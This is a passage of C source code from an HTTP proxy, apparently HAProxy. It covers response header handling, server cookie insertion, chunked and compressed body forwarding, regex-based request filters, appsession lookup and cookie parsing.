s->logs.t_data = -1; /* was not a valid response */
rep->prod->flags |= SI_FL_NOLINGER;
bi_erase(rep);
stream_int_retnclose(rep->cons, http_error_message(s, HTTP_ERR_502));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_H;
return 0;
}
}
/* has the response been denied ? */
if (txn->flags & TX_SVDENY) {
if (objt_server(s->target))
objt_server(s->target)->counters.failed_secu++;
s->be->be_counters.denied_resp++;
s->fe->fe_counters.denied_resp++;
if (s->listener->counters)
s->listener->counters->denied_resp++;
goto return_srv_prx_502;
}
/* add response headers from the rule sets in the same order */
list_for_each_entry(wl, &rule_set->rsp_add, list) {
if (txn->status < 200 && txn->status != 101)
break;
if (wl->cond) {
int ret = acl_exec_cond(wl->cond, px, s, txn, SMP_OPT_DIR_RES|SMP_OPT_FINAL);
ret = acl_pass(ret);
if (((struct acl_cond *)wl->cond)->pol == ACL_COND_UNLESS)
ret = !ret;
if (!ret)
continue;
}
if (unlikely(http_header_add_tail(&txn->rsp, &txn->hdr_idx, wl->s) < 0))
goto return_bad_resp;
}
/* check whether we're already working on the frontend */
if (cur_proxy == s->fe)
break;
cur_proxy = s->fe;
}
/* OK that's all we can do for 1xx responses */
if (unlikely(txn->status < 200 && txn->status != 101))
goto skip_header_mangling;
/*
* Now check for a server cookie.
*/
if (s->be->cookie_name || s->be->appsession_name || s->fe->capture_name ||
(s->be->options & PR_O_CHK_CACHE))
manage_server_side_cookies(s, rep);
/*
* Check for cache-control or pragma headers if required.
*/
if (((s->be->options & PR_O_CHK_CACHE) || (s->be->ck_opts & PR_CK_NOC)) && txn->status != 101)
check_response_for_cacheability(s, rep);
/*
* Add server cookie in the response if needed
*/
if (objt_server(s->target) && (s->be->ck_opts & PR_CK_INS) &&
!((txn->flags & TX_SCK_FOUND) && (s->be->ck_opts & PR_CK_PSV)) &&
(!(s->flags & SN_DIRECT) ||
((s->be->cookie_maxidle || txn->cookie_last_date) &&
(!txn->cookie_last_date || (txn->cookie_last_date - date.tv_sec) < 0)) ||
(s->be->cookie_maxlife && !txn->cookie_first_date) || // set the first_date
(!s->be->cookie_maxlife && txn->cookie_first_date)) && // remove the first_date
(!(s->be->ck_opts & PR_CK_POST) || (txn->meth == HTTP_METH_POST)) &&
!(s->flags & SN_IGNORE_PRST)) {
/* the server is known, it's not the one the client requested, or the
* cookie's last seen date needs to be refreshed. We have to
* insert a set-cookie here, except if we want to insert only on POST
* requests and this one isn't. Note that servers which don't have cookies
* (eg: some backup servers) will return a full cookie removal request.
*/
if (!objt_server(s->target)->cookie) {
chunk_printf(&trash,
"Set-Cookie: %s=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/",
s->be->cookie_name);
}
else {
chunk_printf(&trash, "Set-Cookie: %s=%s", s->be->cookie_name, objt_server(s->target)->cookie);
if (s->be->cookie_maxidle || s->be->cookie_maxlife) {
/* emit last_date, which is mandatory */
trash.str[trash.len++] = COOKIE_DELIM_DATE;
s30tob64((date.tv_sec+3) >> 2, trash.str + trash.len);
trash.len += 5;
if (s->be->cookie_maxlife) {
/* emit first_date, which is either the original one or
* the current date.
*/
trash.str[trash.len++] = COOKIE_DELIM_DATE;
s30tob64(txn->cookie_first_date ?
txn->cookie_first_date >> 2 :
(date.tv_sec+3) >> 2, trash.str + trash.len);
trash.len += 5;
}
}
chunk_appendf(&trash, "; path=/");
}
if (s->be->cookie_domain)
chunk_appendf(&trash, "; domain=%s", s->be->cookie_domain);
if (s->be->ck_opts & PR_CK_HTTPONLY)
chunk_appendf(&trash, "; HttpOnly");
if (s->be->ck_opts & PR_CK_SECURE)
chunk_appendf(&trash, "; Secure");
if (unlikely(http_header_add_tail2(&txn->rsp, &txn->hdr_idx, trash.str, trash.len) < 0))
goto return_bad_resp;
txn->flags &= ~TX_SCK_MASK;
if (objt_server(s->target)->cookie && (s->flags & SN_DIRECT))
/* the server did not change, only the date was updated */
txn->flags |= TX_SCK_UPDATED;
else
txn->flags |= TX_SCK_INSERTED;
/* Here, we will tell an eventual cache on the client side that we don't
* want it to cache this reply because HTTP/1.0 caches also cache cookies !
* Some caches understand the correct form: 'no-cache="set-cookie"', but
* others don't (eg: apache <= 1.3.26). So we use 'private' instead.
*/
if ((s->be->ck_opts & PR_CK_NOC) && (txn->flags & TX_CACHEABLE)) {
txn->flags &= ~TX_CACHEABLE & ~TX_CACHE_COOK;
if (unlikely(http_header_add_tail2(&txn->rsp, &txn->hdr_idx,
"Cache-control: private", 22) < 0))
goto return_bad_resp;
}
}
/*
* Check if result will be cacheable with a cookie.
* We'll block the response if security checks have caught
* nasty things such as a cacheable cookie.
*/
if (((txn->flags & (TX_CACHEABLE | TX_CACHE_COOK | TX_SCK_PRESENT)) ==
(TX_CACHEABLE | TX_CACHE_COOK | TX_SCK_PRESENT)) &&
(s->be->options & PR_O_CHK_CACHE)) {
/* we're in presence of a cacheable response containing
* a set-cookie header. We'll block it as requested by
* the 'checkcache' option, and send an alert.
*/
if (objt_server(s->target))
objt_server(s->target)->counters.failed_secu++;
s->be->be_counters.denied_resp++;
s->fe->fe_counters.denied_resp++;
if (s->listener->counters)
s->listener->counters->denied_resp++;
Alert("Blocking cacheable cookie in response from instance %s, server %s.\n",
s->be->id, objt_server(s->target) ? objt_server(s->target)->id : "<dispatch>");
send_log(s->be, LOG_ALERT,
"Blocking cacheable cookie in response from instance %s, server %s.\n",
s->be->id, objt_server(s->target) ? objt_server(s->target)->id : "<dispatch>");
goto return_srv_prx_502;
}
skip_filters:
/*
* Adjust "Connection: close" or "Connection: keep-alive" if needed.
* If an "Upgrade" token is found, the header is left untouched in order
* not to have to deal with some client bugs : some of them fail an upgrade
* if anything but "Upgrade" is present in the Connection header. We don't
* want to touch any 101 response either since it's switching to another
* protocol.
*/
if ((txn->status != 101) && !(txn->flags & TX_HDR_CONN_UPG) &&
(((txn->flags & TX_CON_WANT_MSK) != TX_CON_WANT_TUN) ||
((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL))) {
unsigned int want_flags = 0;
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL) {
/* we want a keep-alive response here. Keep-alive header
* required if either side is not 1.1.
*/
if (!(txn->req.flags & msg->flags & HTTP_MSGF_VER_11))
want_flags |= TX_CON_KAL_SET;
}
else {
/* we want a close response here. Close header required if
* the server is 1.1, regardless of the client.
*/
if (msg->flags & HTTP_MSGF_VER_11)
want_flags |= TX_CON_CLO_SET;
}
if (want_flags != (txn->flags & (TX_CON_CLO_SET|TX_CON_KAL_SET)))
http_change_connection_header(txn, msg, want_flags);
}
skip_header_mangling:
if ((msg->flags & HTTP_MSGF_XFER_LEN) ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_TUN)
rep->analysers |= AN_RES_HTTP_XFER_BODY;
/* if the user wants to log as soon as possible, without counting
* bytes from the server, then this is the right moment. We have
* to temporarily assign bytes_out to log what we currently have.
*/
if (!LIST_ISEMPTY(&s->fe->logformat) && !(s->logs.logwait & LW_BYTES)) {
s->logs.t_close = s->logs.t_data; /* to get a valid end date */
s->logs.bytes_out = txn->rsp.eoh;
s->do_log(s);
s->logs.bytes_out = 0;
}
return 1;
}
/* This function is an analyser which forwards response body (including chunk
* sizes if any). It is called as soon as we must forward, even if we forward
* zero byte. The only situation where it must not be called is when we're in
* tunnel mode and we want to forward till the close. It's used both to forward
* remaining data and to resync after end of body. It expects the msg_state to
* be between MSG_BODY and MSG_DONE (inclusive). It returns zero if it needs to
* read more data, or 1 once we can go on with next request or end the session.
*
* It is capable of compressing response data both in content-length mode and
* in chunked mode. The state machines follows different flows depending on
* whether content-length and chunked modes are used, since there are no
* trailers in content-length :
*
* chk-mode cl-mode
* ,----- BODY -----.
* / \
* V size > 0 V chk-mode
* .--> SIZE -------------> DATA -------------> CRLF
* | | size == 0 | last byte |
* | v final crlf v inspected |
* | TRAILERS -----------> DONE |
* | |
* `----------------------------------------------'
*
* Compression only happens in the DATA state, and must be flushed in final
* states (TRAILERS/DONE) or when leaving on missing data. Normal forwarding
* is performed at once on final states for all bytes parsed, or when leaving
* on missing data.
*/
int http_response_forward_body(struct session *s, struct channel *res, int an_bit)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &s->txn.rsp;
static struct buffer *tmpbuf = NULL;
int compressing = 0;
int ret;
if (unlikely(msg->msg_state < HTTP_MSG_BODY))
return 0;
if ((res->flags & (CF_READ_ERROR|CF_READ_TIMEOUT|CF_WRITE_ERROR|CF_WRITE_TIMEOUT)) ||
((res->flags & CF_SHUTW) && (res->to_forward || res->buf->o)) ||
!s->req->analysers) {
/* Output closed while we were sending data. We must abort and
* wake the other side up.
*/
msg->msg_state = HTTP_MSG_ERROR;
http_resync_states(s);
return 1;
}
/* in most states, we should abort in case of early close */
channel_auto_close(res);
if (msg->sov > 0) {
/* we have msg->sov which points to the first byte of message
* body, and res->buf.p still points to the beginning of the
* message. We forward the headers now, as we don't need them
* anymore, and we want to flush them.
*/
b_adv(res->buf, msg->sov);
msg->next -= msg->sov;
msg->sov = 0;
/* The previous analysers guarantee that the state is somewhere
* between MSG_BODY and the first MSG_DATA. So msg->sol and
* msg->next are always correct.
*/
if (msg->msg_state < HTTP_MSG_CHUNK_SIZE) {
if (msg->flags & HTTP_MSGF_TE_CHNK)
msg->msg_state = HTTP_MSG_CHUNK_SIZE;
else
msg->msg_state = HTTP_MSG_DATA;
}
}
if (res->to_forward) {
/* We can't process the buffer's contents yet */
res->flags |= CF_WAKE_WRITE;
goto missing_data;
}
if (unlikely(s->comp_algo != NULL) && msg->msg_state < HTTP_MSG_TRAILERS) {
/* We need a compression buffer in the DATA state to put the
* output of compressed data, and in CRLF state to let the
* TRAILERS state finish the job of removing the trailing CRLF.
*/
if (unlikely(tmpbuf == NULL)) {
/* this is the first time we need the compression buffer */
tmpbuf = pool_alloc2(pool2_buffer);
if (tmpbuf == NULL)
goto aborted_xfer; /* no memory */
}
ret = http_compression_buffer_init(s, res->buf, tmpbuf);
if (ret < 0) {
res->flags |= CF_WAKE_WRITE;
goto missing_data; /* not enough spaces in buffers */
}
compressing = 1;
}
while (1) {
switch (msg->msg_state - HTTP_MSG_DATA) {
case HTTP_MSG_DATA - HTTP_MSG_DATA: /* must still forward */
/* we may have some pending data starting at res->buf->p */
if (unlikely(s->comp_algo)) {
ret = http_compression_buffer_add_data(s, res->buf, tmpbuf);
if (ret < 0)
goto aborted_xfer;
if (msg->chunk_len) {
/* input empty or output full */
if (res->buf->i > msg->next)
res->flags |= CF_WAKE_WRITE;
goto missing_data;
}
}
else {
if (msg->chunk_len > res->buf->i - msg->next) {
/* output full */
res->flags |= CF_WAKE_WRITE;
goto missing_data;
}
msg->next += msg->chunk_len;
msg->chunk_len = 0;
}
/* nothing left to forward */
if (msg->flags & HTTP_MSGF_TE_CHNK) {
msg->msg_state = HTTP_MSG_CHUNK_CRLF;
} else {
msg->msg_state = HTTP_MSG_DONE;
break;
}
/* fall through for HTTP_MSG_CHUNK_CRLF */
case HTTP_MSG_CHUNK_CRLF - HTTP_MSG_DATA:
/* we want the CRLF after the data */
ret = http_skip_chunk_crlf(msg);
if (ret == 0)
goto missing_data;
else if (ret < 0) {
if (msg->err_pos >= 0)
http_capture_bad_message(&s->be->invalid_rep, s, msg, HTTP_MSG_CHUNK_CRLF, s->fe);
goto return_bad_res;
}
/* we're in MSG_CHUNK_SIZE now, fall through */
case HTTP_MSG_CHUNK_SIZE - HTTP_MSG_DATA:
/* read the chunk size and assign it to ->chunk_len, then
* set ->next to point to the body and switch to DATA or
* TRAILERS state.
*/
ret = http_parse_chunk_size(msg);
if (ret == 0)
goto missing_data;
else if (ret < 0) {
if (msg->err_pos >= 0)
http_capture_bad_message(&s->be->invalid_rep, s, msg, HTTP_MSG_CHUNK_SIZE, s->fe);
goto return_bad_res;
}
/* otherwise we're in HTTP_MSG_DATA or HTTP_MSG_TRAILERS state */
break;
case HTTP_MSG_TRAILERS - HTTP_MSG_DATA:
if (unlikely(compressing)) {
/* we need to flush output contents before syncing FSMs */
http_compression_buffer_end(s, &res->buf, &tmpbuf, 1);
compressing = 0;
}
ret = http_forward_trailers(msg);
if (ret == 0)
goto missing_data;
else if (ret < 0) {
if (msg->err_pos >= 0)
http_capture_bad_message(&s->be->invalid_rep, s, msg, HTTP_MSG_TRAILERS, s->fe);
goto return_bad_res;
}
/* we're in HTTP_MSG_DONE now, fall through */
default:
/* other states, DONE...TUNNEL */
if (unlikely(compressing)) {
/* we need to flush output contents before syncing FSMs */
http_compression_buffer_end(s, &res->buf, &tmpbuf, 1);
compressing = 0;
}
/* we may have some pending data starting at res->buf->p
* such as a last chunk of data or trailers.
*/
b_adv(res->buf, msg->next);
msg->next = 0;
ret = msg->msg_state;
/* for keep-alive we don't want to forward closes on DONE */
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL)
channel_dont_close(res);
if (http_resync_states(s)) {
/* some state changes occurred, maybe the analyser
* was disabled too.
*/
if (unlikely(msg->msg_state == HTTP_MSG_ERROR)) {
if (res->flags & CF_SHUTW) {
/* response errors are most likely due to
* the client aborting the transfer.
*/
goto aborted_xfer;
}
if (msg->err_pos >= 0)
http_capture_bad_message(&s->be->invalid_rep, s, msg, ret, s->fe);
goto return_bad_res;
}
return 1;
}
return 0;
}
}
missing_data:
/* we may have some pending data starting at res->buf->p */
if (unlikely(compressing)) {
http_compression_buffer_end(s, &res->buf, &tmpbuf, msg->msg_state >= HTTP_MSG_TRAILERS);
compressing = 0;
}
if ((s->comp_algo == NULL || msg->msg_state >= HTTP_MSG_TRAILERS)) {
b_adv(res->buf, msg->next);
msg->next = 0;
msg->chunk_len -= channel_forward(res, msg->chunk_len);
}
if (res->flags & CF_SHUTW)
goto aborted_xfer;
/* stop waiting for data if the input is closed before the end. If the
* client side was already closed, it means that the client has aborted,
* so we don't want to count this as a server abort. Otherwise it's a
* server abort.
*/
if (res->flags & CF_SHUTR) {
if ((s->req->flags & (CF_SHUTR|CF_SHUTW)) == (CF_SHUTR|CF_SHUTW))
goto aborted_xfer;
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_SRVCL;
s->be->be_counters.srv_aborts++;
if (objt_server(s->target))
objt_server(s->target)->counters.srv_aborts++;
goto return_bad_res_stats_ok;
}
/* we need to obey the req analyser, so if it leaves, we must too */
if (!s->req->analysers)
goto return_bad_res;
/* When TE: chunked is used, we need to get there again to parse remaining
* chunks even if the server has closed, so we don't want to set CF_DONTCLOSE.
* Similarly, with keep-alive on the client side, we don't want to forward a
* close.
*/
if ((msg->flags & HTTP_MSGF_TE_CHNK) || s->comp_algo ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL)
channel_dont_close(res);
/* We know that more data are expected, but we couldn't send more that
* what we did. So we always set the CF_EXPECT_MORE flag so that the
* system knows it must not set a PUSH on this first part. Interactive
* modes are already handled by the stream sock layer. We must not do
* this in content-length mode because it could present the MSG_MORE
* flag with the last block of forwarded data, which would cause an
* additional delay to be observed by the receiver.
*/
if ((msg->flags & HTTP_MSGF_TE_CHNK) || s->comp_algo)
res->flags |= CF_EXPECT_MORE;
/* the session handler will take care of timeouts and errors */
return 0;
return_bad_res: /* let's centralize all bad responses */
s->be->be_counters.failed_resp++;
if (objt_server(s->target))
objt_server(s->target)->counters.failed_resp++;
return_bad_res_stats_ok:
if (unlikely(compressing)) {
http_compression_buffer_end(s, &res->buf, &tmpbuf, msg->msg_state >= HTTP_MSG_TRAILERS);
compressing = 0;
}
/* we may have some pending data starting at res->buf->p */
if (s->comp_algo == NULL) {
b_adv(res->buf, msg->next);
msg->next = 0;
}
txn->rsp.msg_state = HTTP_MSG_ERROR;
/* don't send any error message as we're in the body */
stream_int_retnclose(res->cons, NULL);
res->analysers = 0;
s->req->analysers = 0; /* we're in data phase, we want to abort both directions */
if (objt_server(s->target))
health_adjust(objt_server(s->target), HANA_STATUS_HTTP_HDRRSP);
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_D;
return 0;
aborted_xfer:
if (unlikely(compressing)) {
http_compression_buffer_end(s, &res->buf, &tmpbuf, msg->msg_state >= HTTP_MSG_TRAILERS);
compressing = 0;
}
txn->rsp.msg_state = HTTP_MSG_ERROR;
/* don't send any error message as we're in the body */
stream_int_retnclose(res->cons, NULL);
res->analysers = 0;
s->req->analysers = 0; /* we're in data phase, we want to abort both directions */
s->fe->fe_counters.cli_aborts++;
s->be->be_counters.cli_aborts++;
if (objt_server(s->target))
objt_server(s->target)->counters.cli_aborts++;
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_CLICL;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_D;
return 0;
}
/* Iterate the same filter through all request headers.
* Returns 1 if this filter can be stopped upon return, otherwise 0.
* Since it can manage the switch to another backend, it updates the per-proxy
* DENY stats.
*/
int apply_filter_to_req_headers(struct session *s, struct channel *req, struct hdr_exp *exp)
{
char *cur_ptr, *cur_end, *cur_next;
int cur_idx, old_idx, last_hdr;
struct http_txn *txn = &s->txn;
struct hdr_idx_elem *cur_hdr;
int delta;
last_hdr = 0;
cur_next = req->buf->p + hdr_idx_first_pos(&txn->hdr_idx);
old_idx = 0;
while (!last_hdr) {
if (unlikely(txn->flags & (TX_CLDENY | TX_CLTARPIT)))
return 1;
else if (unlikely(txn->flags & TX_CLALLOW) &&
(exp->action == ACT_ALLOW ||
exp->action == ACT_DENY ||
exp->action == ACT_TARPIT))
return 0;
cur_idx = txn->hdr_idx.v[old_idx].next;
if (!cur_idx)
break;
cur_hdr = &txn->hdr_idx.v[cur_idx];
cur_ptr = cur_next;
cur_end = cur_ptr + cur_hdr->len;
cur_next = cur_end + cur_hdr->cr + 1;
/* Now we have one header between cur_ptr and cur_end,
* and the next header starts at cur_next.
*/
if (regex_exec_match2(exp->preg, cur_ptr, cur_end-cur_ptr, MAX_MATCH, pmatch)) {
switch (exp->action) {
case ACT_SETBE:
/* It is not possible to jump a second time.
* FIXME: should we return an HTTP/500 here so that
* the admin knows there's a problem ?
*/
if (s->be != s->fe)
break;
/* Swithing Proxy */
session_set_backend(s, (struct proxy *)exp->replace);
last_hdr = 1;
break;
case ACT_ALLOW:
txn->flags |= TX_CLALLOW;
last_hdr = 1;
break;
case ACT_DENY:
txn->flags |= TX_CLDENY;
last_hdr = 1;
break;
case ACT_TARPIT:
txn->flags |= TX_CLTARPIT;
last_hdr = 1;
break;
case ACT_REPLACE:
trash.len = exp_replace(trash.str, trash.size, cur_ptr, exp->replace, pmatch);
if (trash.len < 0)
return -1;
delta = buffer_replace2(req->buf, cur_ptr, cur_end, trash.str, trash.len);
/* FIXME: if the user adds a newline in the replacement, the
* index will not be recalculated for now, and the new line
* will not be counted as a new header.
*/
cur_end += delta;
cur_next += delta;
cur_hdr->len += delta;
http_msg_move_end(&txn->req, delta);
break;
case ACT_REMOVE:
delta = buffer_replace2(req->buf, cur_ptr, cur_next, NULL, 0);
cur_next += delta;
http_msg_move_end(&txn->req, delta);
txn->hdr_idx.v[old_idx].next = cur_hdr->next;
txn->hdr_idx.used--;
cur_hdr->len = 0;
cur_end = NULL; /* null-term has been rewritten */
cur_idx = old_idx;
break;
}
}
/* keep the link from this header to next one in case of later
* removal of next header.
*/
old_idx = cur_idx;
}
return 0;
}
/* Apply the filter to the request line.
* Returns 0 if nothing has been done, 1 if the filter has been applied,
* or -1 if a replacement resulted in an invalid request line.
* Since it can manage the switch to another backend, it updates the per-proxy
* DENY stats.
*/
int apply_filter_to_req_line(struct session *s, struct channel *req, struct hdr_exp *exp)
{
char *cur_ptr, *cur_end;
int done;
struct http_txn *txn = &s->txn;
int delta;
if (unlikely(txn->flags & (TX_CLDENY | TX_CLTARPIT)))
return 1;
else if (unlikely(txn->flags & TX_CLALLOW) &&
(exp->action == ACT_ALLOW ||
exp->action == ACT_DENY ||
exp->action == ACT_TARPIT))
return 0;
else if (exp->action == ACT_REMOVE)
return 0;
done = 0;
cur_ptr = req->buf->p;
cur_end = cur_ptr + txn->req.sl.rq.l;
/* Now we have the request line between cur_ptr and cur_end */
if (regex_exec_match2(exp->preg, cur_ptr, cur_end-cur_ptr, MAX_MATCH, pmatch)) {
switch (exp->action) {
case ACT_SETBE:
/* It is not possible to jump a second time.
* FIXME: should we return an HTTP/500 here so that
* the admin knows there's a problem ?
*/
if (s->be != s->fe)
break;
/* Swithing Proxy */
session_set_backend(s, (struct proxy *)exp->replace);
done = 1;
break;
case ACT_ALLOW:
txn->flags |= TX_CLALLOW;
done = 1;
break;
case ACT_DENY:
txn->flags |= TX_CLDENY;
done = 1;
break;
case ACT_TARPIT:
txn->flags |= TX_CLTARPIT;
done = 1;
break;
case ACT_REPLACE:
trash.len = exp_replace(trash.str, trash.size, cur_ptr, exp->replace, pmatch);
if (trash.len < 0)
return -1;
delta = buffer_replace2(req->buf, cur_ptr, cur_end, trash.str, trash.len);
/* FIXME: if the user adds a newline in the replacement, the
* index will not be recalculated for now, and the new line
* will not be counted as a new header.
*/
http_msg_move_end(&txn->req, delta);
cur_end += delta;
cur_end = (char *)http_parse_reqline(&txn->req,
HTTP_MSG_RQMETH,
cur_ptr, cur_end + 1,
NULL, NULL);
if (unlikely(!cur_end))
return -1;
/* we have a full request and we know that we have either a CR
* or an LF at <ptr>.
*/
txn->meth = find_http_meth(cur_ptr, txn->req.sl.rq.m_l);
hdr_idx_set_start(&txn->hdr_idx, txn->req.sl.rq.l, *cur_end == '\r');
/* there is no point trying this regex on headers */
return 1;
}
}
return done;
}
/*
* Apply all the req filters of proxy <px> to all headers in buffer <req> of session <s>.
* Returns 0 if everything is alright, or -1 in case a replacement lead to an
* unparsable request. Since it can manage the switch to another backend, it
* updates the per-proxy DENY stats.
*/
int apply_filters_to_request(struct session *s, struct channel *req, struct proxy *px)
{
struct http_txn *txn = &s->txn;
struct hdr_exp *exp;
for (exp = px->req_exp; exp; exp = exp->next) {
int ret;
/*
* The interleaving of transformations and verdicts
* makes it difficult to decide to continue or stop
* the evaluation.
*/
if (txn->flags & (TX_CLDENY|TX_CLTARPIT))
break;
if ((txn->flags & TX_CLALLOW) &&
(exp->action == ACT_ALLOW || exp->action == ACT_DENY ||
exp->action == ACT_TARPIT || exp->action == ACT_PASS))
continue;
/* if this filter had a condition, evaluate it now and skip to
* next filter if the condition does not match.
*/
if (exp->cond) {
ret = acl_exec_cond(exp->cond, px, s, txn, SMP_OPT_DIR_REQ|SMP_OPT_FINAL);
ret = acl_pass(ret);
if (((struct acl_cond *)exp->cond)->pol == ACL_COND_UNLESS)
ret = !ret;
if (!ret)
continue;
}
/* Apply the filter to the request line. */
ret = apply_filter_to_req_line(s, req, exp);
if (unlikely(ret < 0))
return -1;
if (likely(ret == 0)) {
/* The filter did not match the request, it can be
* iterated through all headers.
*/
apply_filter_to_req_headers(s, req, exp);
}
}
return 0;
}
/*
* Try to retrieve the server associated to the appsession.
* If the server is found, it's assigned to the session.
*/
void manage_client_side_appsession(struct session *s, const char *buf, int len) {
struct http_txn *txn = &s->txn;
appsess *asession = NULL;
char *sessid_temp = NULL;
if (len > s->be->appsession_len) {
len = s->be->appsession_len;
}
if (s->be->options2 & PR_O2_AS_REQL) {
/* request-learn option is enabled : store the sessid in the session for future use */
if (txn->sessid != NULL) {
/* free previously allocated memory as we don't need the session id found in the URL anymore */
pool_free2(apools.sessid, txn->sessid);
}
if ((txn->sessid = pool_alloc2(apools.sessid)) == NULL) {
Alert("Not enough memory process_cli():asession->sessid:malloc().\n");
send_log(s->be, LOG_ALERT, "Not enough memory process_cli():asession->sessid:malloc().\n");
return;
}
memcpy(txn->sessid, buf, len);
txn->sessid[len] = 0;
}
if ((sessid_temp = pool_alloc2(apools.sessid)) == NULL) {
Alert("Not enough memory process_cli():asession->sessid:malloc().\n");
send_log(s->be, LOG_ALERT, "Not enough memory process_cli():asession->sessid:malloc().\n");
return;
}
memcpy(sessid_temp, buf, len);
sessid_temp[len] = 0;
asession = appsession_hash_lookup(&(s->be->htbl_proxy), sessid_temp);
/* free previously allocated memory */
pool_free2(apools.sessid, sessid_temp);
if (asession != NULL) {
asession->expire = tick_add_ifset(now_ms, s->be->timeout.appsession);
if (!(s->be->options2 & PR_O2_AS_REQL))
asession->request_count++;
if (asession->serverid != NULL) {
struct server *srv = s->be->srv;
while (srv) {
if (strcmp(srv->id, asession->serverid) == 0) {
if ((srv->state != SRV_ST_STOPPED) ||
(s->be->options & PR_O_PERSIST) ||
(s->flags & SN_FORCE_PRST)) {
/* we found the server and it's usable */
txn->flags &= ~TX_CK_MASK;
txn->flags |= (srv->state != SRV_ST_STOPPED) ? TX_CK_VALID : TX_CK_DOWN;
s->flags |= SN_DIRECT | SN_ASSIGNED;
s->target = &srv->obj_type;
break;
} else {
txn->flags &= ~TX_CK_MASK;
txn->flags |= TX_CK_DOWN;
}
}
srv = srv->next;
}
}
}
}
/* Find the end of a cookie value contained between <s> and <e>. It works the
* same way as with headers above except that the semi-colon also ends a token.
* See RFC2965 for more information. Note that it requires a valid header to
* return a valid result.
*/
char *find_cookie_value_end(char *s, const char *e)
{
int quoted, qdpair;
quoted = qdpair = 0;
for (; s < e; s++) {
if (qdpair) qdpair = 0;
else if (quoted) {
if (*s == '\\') qdpair = 1;
else if (*s == '"') quoted = 0;
}
else if (*s == '"') quoted = 1;
else if (*s == ',' || *s == ';') return s;
}
return s;
}
/* Delete a value in a header between delimiters <from> and <next> in buffer
* <buf>. The number of characters displaced is returned, and the pointer to
* the first delimiter is updated if required. The function tries as much as
* possible to respect the following principles :
* - replace <from> delimiter by the <next> one unless <from> points to a
* colon, in which case <next> is simply removed
* - set exactly one space character after the new first delimiter, unless
* there are not enough characters in the block being moved to do so.
* - remove unneeded spaces before the previous delimiter and after the new
* one.
*
* It is the caller's responsibility to ensure that :
* - <from> points to a valid delimiter or the colon ;
* - <next> points to a valid delimiter or the final CR/LF ;
* - there are non-space chars before <from> ;
* - there is a CR/LF at or after <next>.
*/
int del_hdr_value(struct buffer *buf, char **from, char *next)
{
char *prev = *from;
if (*prev == ':') {
/* We're removing the first value, preserve the colon and add a
* space if possible.
*/
if (!http_is_crlf[(unsigned char)*next])
next++;
prev++;
if (prev < next)
*prev++ = ' ';
while (http_is_spht[(unsigned char)*next])
next++;
} else {
/* Remove useless spaces before the old delimiter. */
while (http_is_spht[(unsigned char)*(prev-1)])
prev--;
*from = prev;
/* copy the delimiter and if possible a space if we're
* not at the end of the line.
*/
if (!http_is_crlf[(unsigned char)*next]) {
*prev++ = *next++;
if (prev + 1 < next)
*prev++ = ' ';
while (http_is_spht[(unsigned char)*next])
next++;
}
}
return buffer_replace2(buf, prev, next, NULL, 0);
}
/*
* Manage client-side cookie. It can impact performance by about 2% so it is
* desirable to call it only when needed. This code is quite complex because
* of the multiple very crappy and ambiguous syntaxes we have to support. it
* highly recommended not to touch this part without a good reason !
*/
void manage_client_side_cookies(struct session *s, struct channel *req)
{
struct http_txn *txn = &s->txn;
int preserve_hdr;
int cur_idx, old_idx;
char *hdr_beg, *hdr_end, *hdr_next, *del_from;
char *prev, *att_beg, *att_end, *equal, *val_beg, *val_end, *next;
/* Iterate through the headers, we start with the start line. */
old_idx = 0;
hdr_next = req->buf->p + hdr_idx_first_pos(&txn->hdr_idx);
while ((cur_idx = txn->hdr_idx.v[old_idx].next)) {
struct hdr_idx_elem *cur_hdr;
int val;
cur_hdr = &txn->hdr_idx.v[cur_idx];
hdr_beg = hdr_next;
hdr_end = hdr_beg + cur_hdr->len;
hdr_next = hdr_end + cur_hdr->cr + 1;
/* We have one full header between hdr_beg and hdr_end, and the
* next header starts at hdr_next. We're only interested in
* "Cookie:" headers.
*/
val = http_header_match2(hdr_beg, hdr_end, "Cookie", 6);
if (!val) {
old_idx = cur_idx;
continue;
}
del_from = NULL; /* nothing to be deleted */
preserve_hdr = 0; /* assume we may kill the whole header */
/* Now look for cookies. Conforming to RFC2109, we have to support
* attributes whose name begin with a '$', and associate them with
* the right cookie, if we want to delete this cookie.
* So there are 3 cases for each cookie read :
* 1) it's a special attribute, beginning with a '$' : ignore it.
* 2) it's a server id cookie that we *MAY* want to delete : save
* some pointers on it (last semi-colon, beginning of cookie...)
* 3) it's an application cookie : we *MAY* have to delete a previous
* "special" cookie.
* At the end of loop, if a "special" cookie remains, we may have to
* remove it. If no application cookie persists in the header, we
* *MUST* delete it.
*
* Note: RFC2965 is unclear about the processing of spaces around
* the equal sign in the ATTR=VALUE form. A careful inspection of
* the RFC explicitly allows spaces before it, and not within the
* tokens (attrs or values). An inspection of RFC2109 allows that
* too but section 10.1.3 lets one think that spaces may be allowed
* after the equal sign too, resulting in some (rare) buggy
* implementations trying to do that. So let's do what servers do.
* Latest ietf draft forbids spaces all around. Also, earlier RFCs
* allowed quoted strings in values, with any possible character
* after a backslash, including control chars and delimitors, which
* causes parsing to become ambiguous. Browsers also allow spaces
* within values even without quotes.
*
* We have to keep multiple pointers in order to support cookie
* removal at the beginning, middle or end of header without
* corrupting the header. All of these headers are valid :
*
* Cookie:NAME1=VALUE1;NAME2=VALUE2;NAME3=VALUE3\r\n
* Cookie:NAME1=VALUE1;NAME2_ONLY ;NAME3=VALUE3\r\n
